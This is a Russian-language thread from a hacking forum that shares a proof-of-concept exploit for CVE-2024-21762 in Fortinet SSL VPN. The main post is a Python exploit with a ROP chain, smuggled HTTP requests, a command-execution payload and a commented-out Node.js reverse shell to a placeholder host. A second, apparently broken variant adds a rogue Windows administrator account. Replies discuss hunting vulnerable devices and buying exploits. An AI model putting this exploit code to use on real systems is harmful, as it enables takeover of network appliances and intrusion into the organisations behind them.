• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote RCE, FortiOS & FortiProxy, CVE-2024-21762

yayo

RAID-массив
Пользователь
Регистрация
05.12.2021
Сообщения
58
Реакции
25
Гарант сделки
2
Депозит
0.0087
CVE-2024-21762 POC (Fortinet SSL VPN) out-of-bound vulnerability

Python:
import socket
import time
import argparse




TARGET = 'xxxxxxxxxxxx'  # Target IP
PORT = 443  # Target port, usually 443 for SSL VPN


def make_sock(target, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target, port))
    return sock


def send_payload(payload, target, port):
    with make_sock(target, port) as ssock:
        ssock.sendall(payload)


def main():
    ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
    getcwd_ptr = b"%70%62%2c%04%00%00%00%00"


    pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
    pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;


    rop  = b""
    rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
    rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
    rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
    rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
    rop += b"%00%00%00%00%00%00%00%00" # zero rcx
    rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;


    rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
    rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
    rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;


    rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
    rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;


    rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
    rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
    rop += b"%00%00%00%00%00%00%00%00" # r8


    pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;


    call_execl = b"%80%c1%43%00%00%00%00%00"


    bin_node = b"/bin/node%00"
    e_flag = b"-e%00"
  ## use this one for rev shell   b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(1337,"xxxxxxxxxxx",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
    js_payload = b'(function(){var cp=require("child_process");cp.execSync("nslookup xxxxxxxxxxx.oastify.com");})();%00'


    form_value  = b""
    form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
    form_value += b"B"*438 + pivot_2 + getcwd_ptr
    form_value += b"B"*32 + pivot_1
    form_value += b"B"*168 + call_execl
    form_value += b"B"*432 + ssl_do_handshake_ptr
    form_value += b"B"*32 + rop + pivot_3
    body = (b"B"*1808 + b"=" + form_value + b"&")*20


    data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
    data += b"Host: " + TARGET.encode() + b"\r\n"
    data += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
    data += b"\r\n"
    data += body


    send_payload(data, TARGET, PORT)


    # Short delay to ensure the server processes the first request
    time.sleep(2)


    # Preparing and sending the second part of the exploit
    data  = b"POST / HTTP/1.1\r\n"
    data += b"Host: " + TARGET.encode() + b"\r\n"
    data += b"Transfer-Encoding: chunked\r\n"
    data += b"\r\n"
    data += b"0"*4137 + b"\0"
    data += b"A"*1 + b"\r\n\r\n"


    send_payload(data, TARGET, PORT)


if __name__ == "__main__":
    main()

source
 
Here is another version:


Python:
import  socket
 import  time
 import  random
 import  struct
 from  Crypto . Cipher  import  AES

TARGET  =  'xxxxxxxxxxxx'
PORT  =  443

def  establish_connection ( target ,  port ):
    """Establishes a connection to the target server."""
    sock  =  socket . socket ( socket . AF_INET ,  socket . SOCK_STREAM )
    sock . connect (( target ,  port ))
    return  sock

 def  send_payload ( payload ,  target ,  port ):
    """Sends the payload over the established connection."""
    with  establish_connection ( target ,  port )  as  sock :
        sock . sendall ( payload )

def  generate_rop_chain ():
    """Generates a tailored ROP chain to exploit specific vulnerabilities."""
    rop_chain  =  b "\x90\x90\x90..."   # Replace with custom ROP chain bytes
    return  rop_chain

 def  generate_js_payload ( command ):
    """Crafts a JavaScript payload to execute arbitrary commands."""
    js_payload  =  f '(function(){{var cp=require("child_process");cp.execSync("{command}");}})();'
    return  js_payload . encode ()

def  encrypt_payload ( payload ):
    """Encrypts the payload using AES encryption."""
    key  =  b "" . join ([ struct . pack ( "B" ,  random . randint ( 0 ,  255 ))  for  _  in  range ( 16 )])
    cipher  =  AES . new ( key ,  AES . MODE_CBC ,  IV = b "" . join ([ struct . pack ( "B" ,  random . randint ( 0 ,  255 ))  for  _  in  range ( 16 )]))
    padded_payload  =  payload  +  b "\x00"  *  ( 16  -  len ( payload )  %  16 )
    encrypted_payload  =  cipher . encrypt ( padded_payload )
    return  key  +  encrypted_payload

 def  execute_exploit ( command ):
    """Executes the exploit by generating, encrypting, and sending the payload."""
    rop_chain  =  generate_rop_chain ()
    js_payload  =  generate_js_payload ( command )
    encrypted_payload  =  encrypt_payload ( rop_chain  +  js_payload )

    data   =  b "POST /remote/hostcheck_validate HTTP/1.1\r\n"
    data  +=  b "Host: "  +  TARGET . encode ()  +  b "\r\n"
    data  +=  b "Content-Length: "  +  str ( len ( encrypted_payload )). encode ()  +  b "\r\n"
    data  +=  b "\r\n"
    data  +=  encrypted_payload

    send_payload ( data ,  TARGET ,  PORT )

    time . sleep ( 2 )

    data   =  b "POST / HTTP/1.1\r\n"
    data  +=  b "Host: "  +  TARGET . encode ()  +  b "\r\n"
    data  +=  b "Transfer-Encoding: chunked\r\n"
    data  +=  b "\r\n"
    data  +=  b "0" * 4137  +  b "\0"
    data  +=  b "A" * 1  +  b "\r\n\r\n"

    send_payload ( data ,  TARGET ,  PORT )

def  main ():
    command  =  'net user hacker password123 /add && net localgroup Administrators hacker /add'
    execute_exploit ( command )

if  __name__  ==  "__main__" :
    main ()
 
с первоего экспа rop вставь:
Python:
rop  = b""
    rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
    rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
    rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
    rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
    rop += b"%00%00%00%00%00%00%00%00" # zero rcx
    rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;


    rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
    rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
    rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;


    rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
    rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;


    rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
    rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
    rop += b"%00%00%00%00%00%00%00%00" # r8

РОП под каждую версию форти отличается

Но по-моему валид найти очень сложно)
что-то все молчат или не у кого ничего не выходит или наоборот) полагаю первый вариант
не очень сложно, а ооооооооооооооочень сложно найти валид потому что автор эксплоита прописал что тестил вроде бы только на двух версиях и не факт что сработает на других вот и нету толком валида

Extracting the Binary​

Unfortunately, we were only able to obtain versions 7.2.5 and the latest which was 7.2.7 of the appliance. This meant the delta was larger than we would have liked, but it would have to do. We set up two VMs, FGT_VM64-v7.2.5.F-build1517 and FGT_VM64-v7.2.7.M-build1577 and confirmed they worked with trial licenses.

We had worked with FortiGate before and knew that FortiGate bundled almost all the applications into one binary, /bin/init. To obtain a copies of the binaries we mounted the vmdks from our two FortiGate VMs into a third VM. We then decompressed and extracted the rootfs.gz archive which contained most of the filesystem.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Но по-моему валид найти очень сложно)
что-то все молчат или не у кого ничего не выходит или наоборот) полагаю первый вариант
Этот роуп только на 7.2.5 и 7.2.7. assetnote тестил только на этих, а так да, под каждую версию нужно своё, уязвимы сотню тыщ фортиков а на деле далеко не так)
 
Этот роуп только на 7.2.5 и 7.2.7. assetnote тестил только на этих, а так да, под каждую версию нужно своё, уязвимы сотню тыщ фортиков а на деле далеко не так)
уязвимы если только на CL.TE но опять же таки нужно брать каждую версию и реверсить :D а раздули в пизду как будто весь мир рухнул
 
Пожалуйста, обратите внимание, что пользователь заблокирован
уязвимы если только на CL.TE но опять же таки нужно брать каждую версию и реверсить :D а раздули в пизду как будто весь мир рухнул
Да проблема скорее в том чтобы найти эти самые версии и поднять их у себя
 
Пожалуйста, обратите внимание, что пользователь заблокирован
уязвимы если только на CL.TE но опять же таки нужно брать каждую версию и реверсить :D а раздули в пизду как будто весь мир рухнул
Вот чисто интересно из 300к может быть хоть 1 валид)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
у меня сомнения даже насчет валида именно под версию пока, думается даже он не отстучит)
Никто же не тестил, на словах он работает а на деле...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
если у кого то есть образ из ресерча FGT_VM64-v7.2.5.F-build1517 , поделитесь - подниму и проверим работает ли вообще пок
trial подойдёт ведь?
 
спорный эксп на самом деле, если какой нибудь ебучий какер не напишет что то универсал под разные версии хз реально это или нет под данный продукт
 
спорный эксп на самом деле, если какой нибудь ебучий какер не напишет что то универсал под разные версии хз реально это или нет под данный продукт
Этот эксп новая версия предыдущего экспа "хортигейта"))
Там ровно такие же пробелмы были с разными версиями и убогим шелом
 
Пожалуйста, обратите внимание, что пользователь заблокирован
спорный эксп на самом деле, если какой нибудь ебучий какер не напишет что то универсал под разные версии хз реально это или нет под данный продукт
код на несколько тыщ строк с роуп цепочками под каждую версию)))))
я себе это так представляю
 
Этот эксп новая версия предыдущего экспа "хортигейта"))
Там ровно такие же пробелмы были с разными версиями и убогим шелом
эх щас бы path traversal)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Этот эксп новая версия предыдущего экспа "хортигейта"))
Там ровно такие же пробелмы были с разными версиями и убогим шелом
Не следил, они по итогу решили проблему или всё так-же осталось?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
так же, как была одна версия так и есть спустя год, кто-то на экспе продавал за 20к пару новых версий
По итогу мы снова остались ни с чем
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх